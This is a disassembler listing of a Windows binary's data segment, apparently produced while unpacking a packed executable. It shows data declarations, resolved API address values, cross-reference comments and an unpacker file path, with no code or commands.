dword_4CDEDC	dd 76F36EEBh		; DATA XREF: sub_408C5C+A48w
dword_4CDEE0	dd 71AB12A7h		; DATA XREF: sub_408C5C+582w
					; sub_408C5C+6EEr ...
dword_4CDEE4	dd 71AB1746h		; DATA XREF: sub_4017BF+3Er
					; sub_401AA1+4896r ...
dword_4CDEE8	dd 77EBA595h		; DATA XREF: sub_408C5C+4Bw
					; sub_408C5C+C2r ...
dword_4CDEEC	dd 77C7531Dh		; DATA XREF: sub_408C5C+419w
					; sub_408C5C+471r
dword_4CDEF0	dd 77D4BDCAh		; DATA XREF: sub_408C5C+165w
					; sub_408C5C+1BAr ...
dword_4CDEF4	dd 71C3516Ah		; DATA XREF: sub_408C5C+9A5w
					; sub_408C5C+A01r ...
dword_4CDEF8	dd 71AB32CAh		; DATA XREF: sub_408C5C+62Bw
					; sub_408C5C+752r ...
dword_4CDEFC	dd 71AB5690h		; DATA XREF: sub_401925+D1r
					; sub_401AA1+48F9r ...
dword_4CDF00	dd 1F7CB8F8h		; DATA XREF: sub_408C5C+BC1w
					; sub_408C5C+BEDr
dword_4CDF04	dd 77EBB1E7h		; DATA XREF: sub_408C5C+3Ew
					; sub_408C5C+BAr ...
dword_4CDF08	dd 77DD59F0h		; DATA XREF: sub_401000+49r
					; sub_408C5C+23Ew ...
dword_4CDF0C	dd 71AB5DE2h		; DATA XREF: sub_408C5C+5F7w
					; sub_408C5C+732r ...
dword_4CDF10	dd 71AB3ECEh		; DATA XREF: sub_408C5C+5DDw
					; sub_408C5C+722r ...
dword_4CDF14	dd 76204E4Dh		; DATA XREF: sub_408C5C+81Fw
					; sub_4142F9+4C9r
dword_4CDF18	dd 0			; DATA XREF: sub_408C5C+112w
dword_4CDF1C	dd 1F7D886Ah		; DATA XREF: sub_408C5C+B8Dw
					; sub_408C5C+BC8r
dword_4CDF20	dd 71AB12F8h		; DATA XREF: sub_401AA1+2A76r
					; sub_401AA1+56E0r ...
dword_4CDF24	dd 77C76551h		; DATA XREF: sub_408C5C+3FFw
					; sub_408C5C+461r
dword_4CDF28	dd 77C729E2h		; DATA XREF: sub_408C5C+440w
					; sub_408C5C+489r
dword_4CDF2C	dd 77C7212Fh		; DATA XREF: sub_408C5C+40Cw
					; sub_408C5C+469r
dword_4CDF30	dd 71AB1AF4h		; DATA XREF: sub_401925+89r
					; sub_401AA1+4916r ...
dword_4CDF34	dd 77D5E303h		; DATA XREF: sub_408C5C+1A6w
					; sub_408C5C+1E2r ...
dword_4CDF38	dd 71C4576Ch		; DATA XREF: sub_408C5C+998w
					; sub_408C5C+9F9r ...
dword_4CDF3C	dd 77D4702Fh		; DATA XREF: sub_408C5C+158w
					; sub_408C5C+1ADr ...
dword_4CDF40	dd 77E6C0E3h		; DATA XREF: sub_408C5C+8Cw
					; sub_408C5C+E2r ...
dword_4CDF44	dd 71AB1ED3h		; DATA XREF: sub_408C5C+5B6w
					; sub_408C5C+70Ar ...
dword_4CDF48	dd 71B2A381h		; DATA XREF: sub_408C5C+AE9w
					; sub_408C5C+B05r
dword_4CDF4C	dd 77DDA595h		; DATA XREF: sub_408C5C+2E0w
					; sub_416D26+55r
dword_4CDF50	dd 77DD22EAh		; DATA XREF: sub_408C5C+224w
					; sub_408C5C+279r ...
dword_4CDF54	dd 773F97B0h		; DATA XREF: sub_408C5C+B50w
dword_4CDF58	dd 76D67A29h		; DATA XREF: sub_408C5C+A92w
					; sub_409BA3+8Fr
dword_4CDF5C	dd 76D674FAh		; DATA XREF: sub_408C5C+A85w
					; sub_408C5C+A8Cr ...
dword_4CDF60	dd 71AB3C22h		; DATA XREF: sub_4017BF+A6r
					; sub_401AA1+4875r ...
dword_4CDF64	dd 71AB2BBFh		; DATA XREF: sub_401AA1+4867r
					; sub_401AA1+6B60r ...
dword_4CDF68	dd 1F7BA3A9h		; DATA XREF: sub_408C5C+B9Aw
					; sub_408C5C+BD5r
dword_4CDF6C	dd 71AB401Ch		; DATA XREF: sub_401AA1+1953r
					; sub_401AA1+523Dr ...
dword_4CDF70	dd 71C214BAh		; DATA XREF: sub_408C5C+957w
					; sub_408C5C+9D1r ...
dword_4CDF74	dd 71AB868Dh		; DATA XREF: sub_408C5C+604w
					; sub_408C5C+73Ar ...
dword_4CDF78	dd 71AB1A6Dh		; DATA XREF: sub_40111A+12r
					; sub_4017BF+D0r ...
dword_4CDF7C	dd 71AB155Ah		; DATA XREF: sub_408C5C+541w
					; sub_408C5C+6B2r ...
dword_4CDF80	dd 71B22C25h		; DATA XREF: sub_408C5C+ADCw
					; sub_408C5C+AFDr
dword_4CDF84	dd 71AB5A01h		; DATA XREF: sub_408C5C+4E6w
					; sub_408C5C+66Ar ...
dword_4CDF88	dd 71B2ACCBh		; DATA XREF: sub_408C5C+ACFw
					; sub_408C5C+AF0r ...
dword_4CDF8C	dd 77E78C17h		; DATA XREF: sub_40121E+52r
					; sub_408C5C+31w ...
dword_4CDF90	dd 77D49A11h		; DATA XREF: sub_408C5C+17Fw
					; sub_408C5C+1CAr
dword_4CDF94	dd 76D62A37h		; DATA XREF: sub_408C5C+8CDw
					; sub_408C5C+8E1r ...
dword_4CDF98	dd 77E6CBF9h		; DATA XREF: sub_408C5C+99w
					; sub_408C5C+EAr ...
dword_4CDF9C	dd 0			; DATA XREF: sub_408C5C:loc_408D5Aw
					; sub_408C5C+12Bw ...
dword_4CDFA0	dd 0			; DATA XREF: sub_408C5C+126w
					; sub_409874+1Cr
dword_4CDFA4	dd 0			; DATA XREF: sub_408C5C:loc_408E57w
					; sub_409874:loc_4098BCr
dword_4CDFA8	dd 0			; DATA XREF: sub_408C5C+1F6w
					; sub_409874+50r
dword_4CDFAC	dd 0			; DATA XREF: sub_40121E+337r
					; sub_401AA1+3CADr ...
dword_4CDFB0	dd 0			; DATA XREF: sub_408C5C+3C4w
					; sub_409874+84r
dword_4CDFB4	dd 0			; DATA XREF: sub_408C5C:loc_409106w
					; sub_409874:loc_409924r
dword_4CDFB8	dd 0			; DATA XREF: sub_408C5C+4A5w
					; sub_409874+B8r
dword_4CDFBC	dd 0			; DATA XREF: sub_408C5C:loc_4093D7w
					; sub_409874:loc_409958r
dword_4CDFC0	dd 0			; DATA XREF: sub_408C5C+776w
					; sub_409874+ECr
dword_4CDFC4	dd 0			; DATA XREF: sub_408C5C:loc_4094C2w
					; sub_408C5C+895w ...
dword_4CDFC8	dd 0			; DATA XREF: sub_408C5C+890w
					; sub_409874+120r
dword_4CDFCC	dd 0			; DATA XREF: sub_401AA1:loc_406627r
					; sub_408C5C:loc_409556w ...
dword_4CDFD0	dd 0			; DATA XREF: sub_408C5C+8F5w
					; sub_409874+154r
dword_4CDFD4	dd 0			; DATA XREF: sub_401AA1+3CB5r
					; sub_408C5C:loc_409672w ...
dword_4CDFD8	dd 0			; DATA XREF: sub_408C5C+A11w
					; sub_409874+188r
dword_4CDFDC	dd 0			; DATA XREF: sub_408C5C:loc_4096BCw
					; sub_409874:loc_409A28r
dword_4CDFE0	dd 0			; DATA XREF: sub_408C5C+A5Bw
					; sub_409874+1BCr
dword_4CDFE4	dd 0			; DATA XREF: sub_408C5C:loc_409706w
					; sub_409874:loc_409A5Cr
dword_4CDFE8	dd 0			; DATA XREF: sub_408C5C+AA5w
					; sub_409874+1F0r
dword_4CDFEC	dd 0			; DATA XREF: sub_408C5C:loc_40977Aw
					; sub_409874:loc_409A90r
dword_4CDFF0	dd 0			; DATA XREF: sub_408C5C+B19w
					; sub_409874+224r
dword_4CDFF4	dd 0			; DATA XREF: sub_408C5C:loc_4097C4w
					; sub_409874:loc_409AC4r
dword_4CDFF8	dd 0			; DATA XREF: sub_408C5C+B63w
					; sub_409874+258r
dword_4CDFFC	dd 0			; DATA XREF: sub_408C5C:loc_409862w
					; sub_409874:loc_409AF8r
dword_4CE000	dd 0			; DATA XREF: sub_408C5C+C01w
					; sub_409874+28Cr
		dd 2 dup(0)
dword_4CE00C	dd 5 dup(0)		; DATA XREF: sub_409C7B+32o
dword_4CE020	dd 0			; DATA XREF: sub_40AA71+18r
					; sub_40B014+92w ...
dword_4CE024	dd 0			; DATA XREF: sub_40B14D+1F7r
					; sub_40B361+D9w ...
		dd 7FEh	dup(0)
dword_4D0020	dd 6 dup(0)		; DATA XREF: sub_40B14D+C0o
					; sub_40B14D+129o ...
dword_4D0038	dd 0			; DATA XREF: sub_40AAE8+2B7w
					; sub_40AAE8+34Do
dword_4D003C	dd 0			; DATA XREF: sub_40AAE8+343w
					; sub_40AAE8+35Fr
dword_4D0040	dd 0			; DATA XREF: sub_40AAE8+2C2w
dword_4D0044	dd 0			; DATA XREF: sub_40AAE8+2ACw
					; sub_40AAE8+320r
dword_4D0048	dd 20h dup(0)		; DATA XREF: sub_40AAE8+2D5o
					; sub_40AAE8+307o
dword_4D00C8	dd 0			; DATA XREF: sub_40AAE8+2C8w
dword_4D00CC	dd 0			; DATA XREF: sub_40AAE8+2DFw
					; sub_40AAE8+311w
dword_4D00D0	dd 0			; DATA XREF: sub_40AAE8:loc_40AF81r
		align 8
dword_4D00D8	dd 0			; DATA XREF: sub_40AAE8+82w
					; sub_40AAE8+FEo
dword_4D00DC	dd 41h dup(0)		; DATA XREF: sub_40AAE8+41o
dword_4D01E0	dd 41h dup(0)		; DATA XREF: sub_40AAE8+69o
dword_4D02E4	dd 0			; DATA XREF: sub_40AAE8+F4w
					; sub_40AAE8+110r
dword_4D02E8	dd 0			; DATA XREF: sub_40AAE8+52w
dword_4D02EC	dd 0			; DATA XREF: sub_40AAE8+4Dw
					; sub_40AAE8+D1r
dword_4D02F0	dd 20h dup(0)		; DATA XREF: sub_40AAE8+9Ao
					; sub_40AAE8+B7o
dword_4D0370	dd 0			; DATA XREF: sub_40AAE8+8Fw
dword_4D0374	dd 0			; DATA XREF: sub_40AAE8+A4w
					; sub_40AAE8+C1w
dword_4D0378	dd 0			; DATA XREF: sub_40AAE8:loc_40ACB3r
		align 10h
dword_4D0380	dd 0			; DATA XREF: sub_40AAE8+194w
					; sub_40AAE8+226o
dword_4D0384	dd 41h dup(0)		; DATA XREF: sub_40AAE8+156o
dword_4D0488	dd 41h dup(0)		; DATA XREF: sub_40AAE8+17Bo
dword_4D058C	dd 0			; DATA XREF: sub_40AAE8+21Cw
					; sub_40AAE8+238r
dword_4D0590	dd 0			; DATA XREF: sub_40AAE8+169w
dword_4D0594	dd 0			; DATA XREF: sub_40AAE8+164w
					; sub_40AAE8+1F9r
dword_4D0598	dd 20h dup(0)		; DATA XREF: sub_40AAE8+1ADo
					; sub_40AAE8+1DFo
dword_4D0618	dd 0			; DATA XREF: sub_40AAE8+1A0w
dword_4D061C	dd 0			; DATA XREF: sub_40AAE8+1B7w
					; sub_40AAE8+1E9w
dword_4D0620	dd 0			; DATA XREF: sub_40AAE8:loc_40ADDBr
		align 8
dword_4D0628	dd 0			; DATA XREF: sub_40AAE8+40Ew
					; sub_40AAE8+467o
dword_4D062C	dd 0A2h	dup(0)		; DATA XREF: sub_40AAE8+3FCo
dword_4D08B4	dd 41h dup(0)		; DATA XREF: sub_40AAE8+3C6o
dword_4D09B8	dd 0			; DATA XREF: sub_40AAE8+3F3w
					; sub_40AAE8+41Ar
		align 10h
dword_4D09C0	dd 0			; DATA XREF: sub_40AAE8+45Dw
					; sub_40AAE8+479r
dword_4D09C4	dd 0			; DATA XREF: sub_40AAE8+420w
dword_4D09C8	dd 0			; DATA XREF: sub_40AAE8+42Dw
dword_4D09CC	dd 0			; DATA XREF: sub_40AAE8+3EDw
		dd 0
dword_4D09D4	dd 0			; DATA XREF: sub_40AAE8:loc_40AF96r
dword_4D09D8	dd 0			; DATA XREF: sub_40A73A+Er
					; sub_40A73A+31r ...
dword_4D09DC	dd 0			; DATA XREF: sub_40A73A+9r
					; sub_40A73A+25r ...
dword_4D09E0	dd 80h dup(0)		; DATA XREF: sub_40B5B8+8Do
dword_4D0BE0	dd 2 dup(0)		; DATA XREF: sub_40BF09+68o
dword_4D0BE8	dd 2080Ah		; DATA XREF: sub_40C916+8w
					; sub_40CA12+2D9o
dword_4D0BEC	dd 2 dup(0)		; DATA XREF: sub_40CA12+1FFo
					; sub_40D5AA+EAo
dword_4D0BF4	dd 0			; DATA XREF: sub_40DA5F+1Fr
					; sub_40DAAA+BCo ...
dword_4D0BF8	dd 0			; DATA XREF: sub_40DAAA+B7o
					; sub_40DAAA+DAr ...
dword_4D0BFC	dd 0			; DATA XREF: sub_40DAAA+9Ao
					; sub_40DAAA+CFr ...
dword_4D0C00	dd 0			; DATA XREF: sub_40DA1C+35r
					; sub_40DAAA+95o ...
dword_4D0C04	dd 0			; DATA XREF: sub_40DA1C+17r
					; sub_40DA5F+3Dr ...
dword_4D0C08	dd 0A49Eh		; DATA XREF: sub_40AAE8+2A1r
					; sub_40DC7F+10w ...
dword_4D0C0C	dd 0			; DATA XREF: sub_40A7A5+1Br
					; sub_40DC96+27Cw
dword_4D0C10	dd 0			; DATA XREF: sub_40E550+2Aw
					; sub_40E550+51r ...
		align 8
dword_4D0C18	dd 0			; DATA XREF: sub_40FD18+146r
		align 10h
dword_4D0C20	dd 0			; DATA XREF: sub_41112A+4w
					; sub_41112A+9o
		align 8
byte_4D0C28	db 0			; DATA XREF: sub_411C5A+1C1w
					; sub_411C5A+2C0o
		align 2
word_4D0C2A	dw 0			; DATA XREF: sub_411C5A+1D1w
word_4D0C2C	dw 0			; DATA XREF: sub_411C5A+1D7w
word_4D0C2E	dw 0			; DATA XREF: sub_411C5A+1DEw
byte_4D0C30	db 0			; DATA XREF: sub_411C5A+1E5w
byte_4D0C31	db 0			; DATA XREF: sub_411C5A+1ECw
word_4D0C32	dw 0			; DATA XREF: sub_411C5A+1F2w
dword_4D0C34	dd 0			; DATA XREF: sub_411C5A+220w
					; sub_411C5A+23Ew
dword_4D0C38	dd 0			; DATA XREF: sub_411C5A+246w
byte_4D0C3C	db 0			; DATA XREF: sub_411C5A+258w
byte_4D0C3D	db 0			; DATA XREF: sub_411C5A+26Bw
word_4D0C3E	dw 0			; DATA XREF: sub_411C5A+283w
word_4D0C40	dw 0			; DATA XREF: sub_411C5A+292w
word_4D0C42	dw 0			; DATA XREF: sub_411C5A+28Aw
dword_4D0C44	dd 101h	dup(0)		; DATA XREF: sub_411C5A+2A7o
dword_4D1048	dd 80h dup(0)		; DATA XREF: sub_401AA1+29ECo
					; sub_401AA1:loc_40453Co ...
byte_4D1248	db 0			; DATA XREF: sub_4134E3+19Fw
					; sub_4134E3+278o
		align 2
word_4D124A	dw 0			; DATA XREF: sub_4134E3+1ACw
word_4D124C	dw 0			; DATA XREF: sub_4134E3+1B6w
word_4D124E	dw 0			; DATA XREF: sub_4134E3+1BFw
byte_4D1250	db 0			; DATA XREF: sub_4134E3+1C6w
byte_4D1251	db 0			; DATA XREF: sub_4134E3+1CDw
word_4D1252	dw 0			; DATA XREF: sub_4134E3+1D4w
dword_4D1254	dd 0			; DATA XREF: sub_4134E3+1E1w
dword_4D1258	dd 0			; DATA XREF: sub_4134E3+1E9w
word_4D125C	dw 0			; DATA XREF: sub_4134E3+242w
word_4D125E	dw 0			; DATA XREF: sub_4134E3+22Aw
word_4D1260	dw 0			; DATA XREF: sub_4134E3+254w
word_4D1262	dw 0			; DATA XREF: sub_4134E3+1F5w
dword_4D1264	dd 100h	dup(0)		; DATA XREF: sub_4134E3+263o
dword_4D1664	dd 0			; DATA XREF: sub_401AA1+1666w
					; sub_401AA1+29E4r ...
		dd 0
byte_4D166C	db 0			; DATA XREF: sub_4139D5+22Ao
					; sub_4139D5+239w ...
byte_4D166D	db 0			; DATA XREF: sub_4139D5+24Dw
word_4D166E	dw 0			; DATA XREF: sub_4139D5+27Ew
word_4D1670	dw 0			; DATA XREF: sub_4139D5+265w
					; sub_4139D5:loc_413D8Ew
word_4D1672	dw 0			; DATA XREF: sub_4139D5+284w
byte_4D1674	db 0			; DATA XREF: sub_4139D5+271w
byte_4D1675	db 0			; DATA XREF: sub_4139D5+246w
word_4D1676	dw 0			; DATA XREF: sub_4139D5+3D9w
					; sub_4139D5+403w
dword_4D1678	dd 0			; DATA XREF: sub_4139D5:loc_413C87w
					; sub_4139D5+383r
dword_4D167C	dd 0			; DATA XREF: sub_4139D5+2BFw
word_4D1680	dw 0			; DATA XREF: sub_4139D5+37Dw
					; sub_4139D5+3CFo
word_4D1682	dw 0			; DATA XREF: sub_4139D5+31Ew
					; sub_4139D5+343r ...
dword_4D1684	dd 0			; DATA XREF: sub_4139D5+2F5w
					; sub_4139D5+3C0w
dword_4D1688	dd 0			; DATA XREF: sub_4139D5+311w
					; sub_4139D5+394w ...
byte_4D168C	db 0			; DATA XREF: sub_4139D5+2FAr
					; sub_4139D5+308w
byte_4D168D	db 0			; DATA XREF: sub_4139D5+2C4w
					; sub_4139D5+38Dw ...
word_4D168E	dw 0			; DATA XREF: sub_4139D5+2D2w
word_4D1690	dw 0			; DATA XREF: sub_4139D5+3E0w
					; sub_4139D5+411w
word_4D1692	dw 0			; DATA XREF: sub_4139D5+317w
word_4D1694	dw 0			; DATA XREF: sub_4139D5+349w
					; sub_4139D5+419o
word_4D1696	dw 0			; DATA XREF: sub_4139D5+358w
					; sub_4139D5+3F0w
dword_4D1698	dd 0			; DATA XREF: sub_4139D5+352w
		dd 2 dup(0)
dword_4D16A4	dd 0			; DATA XREF: sub_4139D5+388w
					; sub_4139D5+3FEo
dword_4D16A8	dd 0			; DATA XREF: sub_4139D5+324w
byte_4D16AC	db 0			; DATA XREF: sub_4139D5+32Aw
byte_4D16AD	db 0			; DATA XREF: sub_4139D5+330w
word_4D16AE	dw 0			; DATA XREF: sub_4139D5+33Dw
dword_4D16B0	dd 6 dup(0)		; DATA XREF: sub_4139D5+3D4o
dword_4D16C8	dd 0			; DATA XREF: sub_4139D5+32w
					; sub_4139D5+422r
		align 10h
dword_4D16D0	dd 100h	dup(0)		; DATA XREF: sub_4139D5+1AEo
					; sub_4139D5+465o
dword_4D1AD0	dd 9A0h	dup(0)		; DATA XREF: sub_413F3A+1Do
					; sub_413FDAo ...
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: .nsp0:off_43AF4Co
		dd 65Fh	dup(0)
dword_4D5AD0	dd 0Eh dup(0)		; DATA XREF: sub_413F3A+13o
					; sub_413FDA+Eo ...
dword_4D5B08	dd 0			; DATA XREF: sub_414D50+29w
					; sub_414D50:loc_414ECFw ...
dword_4D5B0C	dd 0			; DATA XREF: sub_401AA1+3730o
					; sub_414C14+12o ...
		dd 0
dword_4D5B14	dd 0			; DATA XREF: sub_414D50+21r
					; sub_414EEF+3Ar
		dd 7Fh dup(0)
dword_4D5D14	dd 0			; DATA XREF: sub_414D50+1Br
					; sub_414EEF+4Aw
		dd 1944h dup(0)
dword_4DC228	dd 0			; DATA XREF: sub_414EEF+23o
					; sub_415765+6Ao
dword_4DC22C	dd 7Fh dup(0)		; DATA XREF: sub_401AA1+374Eo
					; sub_414C14+3Co
dword_4DC428	dd 18h dup(0)		; DATA XREF: sub_415F3D:loc_41605Ao
					; sub_415F3D+131o ...
dword_4DC488	dd 82h dup(0)		; DATA XREF: sub_416C68+7Co
					; sub_416C68+A5o
dword_4DC690	dd 18h dup(0)		; DATA XREF: sub_416B34:loc_416C56o
					; sub_416B34+12Do
dword_4DC6F0	dd 82h dup(0)		; DATA XREF: sub_4161FB+4Bo
					; sub_4161FB+7Do ...
dword_4DC8F8	dd 80h dup(0)		; DATA XREF: sub_4164AA+61o
					; sub_4164AA+88o ...
dword_4DCAF8	dd 80h dup(0)		; DATA XREF: sub_415E14+33o
					; sub_415E14+50o ...
dword_4DCCF8	dd 0			; DATA XREF: sub_4170E9:loc_41710Ar
					; sub_4171D8+54r ...
dword_4DCCFC	dd 0			; DATA XREF: sub_4170E9r
					; sub_4171D8+37r ...
dword_4DCD00	dd 0			; DATA XREF: sub_417119+1Ar
					; sub_41732D+83o
dword_4DCD04	dd 0			; DATA XREF: sub_4170E9:loc_4170FDr
					; sub_41732D+11Bw
dword_4DCD08	dd 0Dh dup(0)		; DATA XREF: sub_4171D8+13o
					; sub_41732D:loc_41746Ao
dword_4DCD3C	dd 0			; DATA XREF: sub_4171D8+CDr
					; sub_4171D8+ECr ...
dword_4DCD40	dd 0Dh dup(0)		; DATA XREF: sub_4178B6+3Eo
dword_4DCD74	dd 0			; DATA XREF: sub_41891D+1B9w
					; sub_419F7D:loc_419FF9w ...
dword_4DCD78	dd 0			; DATA XREF: sub_41A044+35w
					; sub_41A652:loc_41A6ECw ...
dword_4DCD7C	dd 0			; DATA XREF: sub_42063B+13Ar
dword_4DCD80	dd 0A28h		; DATA XREF: sub_41A513+52w
dword_4DCD84	dd 501h			; DATA XREF: sub_41A513+49w
dword_4DCD88	dd 5			; DATA XREF: sub_41A513+3Ew
dword_4DCD8C	dd 1			; DATA XREF: sub_41A513+30w
dword_4DCD90	dd 1			; DATA XREF: sub_40121E:loc_401501r
					; sub_41FA9A+91w
dword_4DCD94	dd 940B20h		; DATA XREF: sub_40121E+2ECr
					; sub_40121E+30Cr ...
		dd 0
dword_4DCD9C	dd 940B48h		; DATA XREF: sub_41F9E1+44w
					; sub_4226D7+9r ...
dword_4DCDA0	dd 0			; DATA XREF: sub_422D90+36r
dword_4DCDA4	dd 0			; DATA XREF: sub_4226D7+16r
					; sub_422AA5+4r ...
		dd 0
off_4DCDAC	dd offset aCM_unpackerPac ; DATA XREF: sub_41FA9A+2Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4DCDB4	db 0			; DATA XREF: sub_418533+2Dw
					; sub_41F3B0+5r
		align 4
dword_4DCDB8	dd 0			; DATA XREF: sub_418533+27w
dword_4DCDBC	dd 0			; DATA XREF: sub_418533+4r
					; sub_418533+8Bw
dword_4DCDC0	dd 0			; DATA XREF: sub_418E54+3Br
					; sub_418E54+91w
		align 8
dword_4DCDC8	dd 0			; DATA XREF: sub_4194A8+Aw
		align 10h
dword_4DCDD0	dd 0			; DATA XREF: sub_419DE1+5Er
					; sub_419DE1+A4w
		align 8
word_4DCDD8	dw 0			; DATA XREF: sub_419DE1+55r
					; sub_419DE1+9Ao
word_4DCDDA	dw 0			; DATA XREF: sub_419DE1+48r
		db 2 dup(0)
word_4DCDDE	dw 0			; DATA XREF: sub_419DE1+3Br
word_4DCDE0	dw 0			; DATA XREF: sub_419DE1+2Er
word_4DCDE2	dw 0			; DATA XREF: sub_419DE1+21r
		align 8
dword_4DCDE8	dd 0			; DATA XREF: sub_41A513+84w
					; sub_41F9E1:loc_41F9F3r ...
		align 10h
dword_4DCDF0	dd 0			; DATA XREF: sub_41A609r sub_41A62Er ...
dword_4DCDF4	dd 0			; DATA XREF: sub_41B6F0+4Bw
					; sub_41B809+2Dw ...
dword_4DCDF8	dd 0			; DATA XREF: sub_41BEF2r
dword_4DCDFC	dd 0			; DATA XREF: sub_417F62:loc_41807Er
					; sub_417F62:loc_41819Fr ...
dword_4DCE00	dd 1			; DATA XREF: sub_41CA89:loc_41CC04r
					; sub_41CC22+4w ...
dword_4DCE04	dd 0			; DATA XREF: sub_41D026+37r
		dd 0
dword_4DCE0C	dd 0			; DATA XREF: sub_41E5B9+11r
					; sub_41E6BD+1Ar ...
byte_4DCE10	db 0			; DATA XREF: sub_41E5B9+3r
					; sub_41E5B9+98r ...
		align 4
dword_4DCE14	dd 0			; DATA XREF: sub_41E6BD+11r
					; sub_41E79B+21w ...
byte_4DCE18	db 0			; DATA XREF: sub_41E79B+51w
		align 4
dword_4DCE1C	dd 0			; DATA XREF: sub_41E991+4Er
					; sub_41ED6C+3Ar ...
dword_4DCE20	dd 0			; DATA XREF: sub_41E991+5Cr
					; sub_41ED6C+43r ...
dword_4DCE24	dd 0			; DATA XREF: sub_41972E+7Ar
					; sub_41EB38+5r
dword_4DCE28	dd 0			; DATA XREF: sub_41F13C+29r
dword_4DCE2C	dd 2 dup(0)		; DATA XREF: sub_419EC0+Co
dword_4DCE34	dd 0			; DATA XREF: sub_41A32C+4r
					; sub_41A32C+9Dr ...
		dd 3 dup(0)
dword_4DCE44	dd 0			; DATA XREF: sub_41A414+61r
					; sub_41A414+BFr ...
		dd 0
dword_4DCE4C	dd 0			; DATA XREF: sub_41BF0D+154w
					; sub_41D026:loc_41D04Fw ...
dword_4DCE50	dd 1			; DATA XREF: sub_41F5B6+28r
					; sub_41F5B6+4Cw ...
dword_4DCE54	dd 0			; DATA XREF: sub_41F805+3Ar
					; sub_41F805+46w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41FA9A:loc_41FAB1o
					; .nsp0:off_4DCDACo
		align 4
		dd 3Ah dup(0)
dword_4DCF5C	dd 1			; DATA XREF: sub_41FCE7+2r
					; sub_41FCE7+23w ...
dword_4DCF60	dd 0			; DATA XREF: sub_4200A4+21r
dword_4DCF64	dd 0			; DATA XREF: sub_41BF0D+7r
dword_4DCF68	dd 1			; DATA XREF: sub_4208F4+26r
					; sub_4208F4:loc_42095Ew
		align 10h
word_4DCF70	dw 0			; DATA XREF: sub_4211F9+1Ao
					; sub_4211F9+46r
byte_4DCF72	db 0			; DATA XREF: sub_4211F9+39r
		align 4
dword_4DCF74	dd 7 dup(0)		; DATA XREF: sub_4211F9+52o
dword_4DCF90	dd 0			; DATA XREF: sub_4211F9+40w
					; sub_4211F9+5Co
dword_4DCF94	dd 0			; DATA XREF: sub_4211F9+4Dw
dword_4DCF98	dd 0			; DATA XREF: sub_4211F9+31w
dword_4DCF9C	dd 0			; DATA XREF: sub_4211F9+52w
dword_4DCFA0	dd 77C26E79h		; DATA XREF: sub_42131C:loc_42133Fr
					; sub_42131C+38r ...
		align 8
dword_4DCFA8	dd 0			; DATA XREF: sub_4213FC+11w
					; sub_4213FC+63w ...
		align 10h
dword_4DCFB0	dd 0			; DATA XREF: sub_4213FC+33o
					; sub_4213FC+46r
dword_4DCFB4	dd 10h dup(0)		; DATA XREF: sub_4213FC+C1o
word_4DCFF4	dw 0			; DATA XREF: sub_42165A+A8r
word_4DCFF6	dw 0			; DATA XREF: sub_4213FC+54r
					; sub_42165A+DBr ...
word_4DCFF8	dw 0			; DATA XREF: sub_42165A+CAr
word_4DCFFA	dw 0			; DATA XREF: sub_42165A+D3r
					; sub_42165A:loc_42174Cr
word_4DCFFC	dw 0			; DATA XREF: sub_42165A+C0r
word_4DCFFE	dw 0			; DATA XREF: sub_42165A+B8r
word_4DD000	dw 0			; DATA XREF: sub_42165A+B0r
word_4DD002	dw 0			; DATA XREF: sub_42165A+9Er
dword_4DD004	dd 0			; DATA XREF: sub_4213FC+4Br
dword_4DD008	dd 10h dup(0)		; DATA XREF: sub_4213FC+FBo
word_4DD048	dw 0			; DATA XREF: sub_42165A+46r
word_4DD04A	dw 0			; DATA XREF: sub_4213FC:loc_421473r
					; sub_42165A+78r ...
word_4DD04C	dw 0			; DATA XREF: sub_42165A+67r
word_4DD04E	dw 0			; DATA XREF: sub_42165A+70r
					; sub_42165A:loc_4216DEr
word_4DD050	dw 0			; DATA XREF: sub_42165A+5Dr
word_4DD052	dw 0			; DATA XREF: sub_42165A+55r
word_4DD054	dw 0			; DATA XREF: sub_42165A+4Dr
word_4DD056	dw 0			; DATA XREF: sub_42165A+3Er
dword_4DD058	dd 0			; DATA XREF: sub_4213FC+80r
dword_4DD05C	dd 0			; DATA XREF: sub_4213FC+132r
					; sub_4213FC:loc_421548r ...
dword_4DD060	dd 0			; DATA XREF: sub_4213E7r sub_4213E7+Ew
dword_4DD064	dd 0			; DATA XREF: sub_421A91+3r
					; sub_421A91+2Ew ...
dword_4DD068	dd 0			; DATA XREF: sub_421A91+43w
					; sub_421A91:loc_421AE0r
dword_4DD06C	dd 0			; DATA XREF: sub_421A91+4Aw
					; sub_421A91+60r
dword_4DD070	dd 0			; DATA XREF: sub_42063B+3Fr
dword_4DD074	dd 0			; DATA XREF: sub_422565:loc_4225CCr
					; sub_422565+6Do
dword_4DD078	dd 0			; DATA XREF: sub_422565:loc_4225A3r
					; sub_422565+44o
dword_4DD07C	dd 0			; DATA XREF: sub_422565:loc_422596r
					; sub_422565+37o
dword_4DD080	dd 0			; DATA XREF: sub_422565:loc_4225B0r
					; sub_422565+51o
		align 8
dword_4DD088	dd 0			; DATA XREF: sub_422B13+28r
					; sub_422B13+48w ...
byte_4DD08C	db 1			; DATA XREF: sub_40C879r sub_40C879+9w ...
		align 10h
		dd 4 dup(0)
dword_4DD0A0	dd 940650h		; DATA XREF: sub_41BC23+75r
					; sub_41BCFC+2Ar ...
dword_4DD0A4	dd 3Fh dup(0)		; DATA XREF: sub_41FE19+92o
dword_4DD1A0	dd 20h			; DATA XREF: sub_41A652+8r
					; sub_41BCFC+Cr ...
dword_4DD1A4	dd 941110h		; DATA XREF: sub_41A7D0:loc_41A7E1r
					; sub_41C07D+14r ...
		dd 6 dup(0)
dword_4DD1C0	dd 400h	dup(0)		; DATA XREF: .nsp0:off_43F858o
					; .nsp0:0043F860o
dword_4DE1C0	dd 200h			; DATA XREF: sub_41A7D0+9r
					; sub_41A7D0+56r ...
dword_4DE1C4	dd 4E4h			; DATA XREF: sub_41CA89+14r
					; sub_41CA89+65w ...
		align 10h
dword_4DE1D0	dd 3 dup(0)		; DATA XREF: sub_41CA89+123o
					; sub_41CA89+171o ...
dword_4DE1DC	dd 0			; DATA XREF: sub_41CA89+108w
					; sub_41CA89+15Dw ...
byte_4DE1E0	db 0			; DATA XREF: sub_41CCC8:loc_41CDD4w
					; sub_41CCC8:loc_41CDF1w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
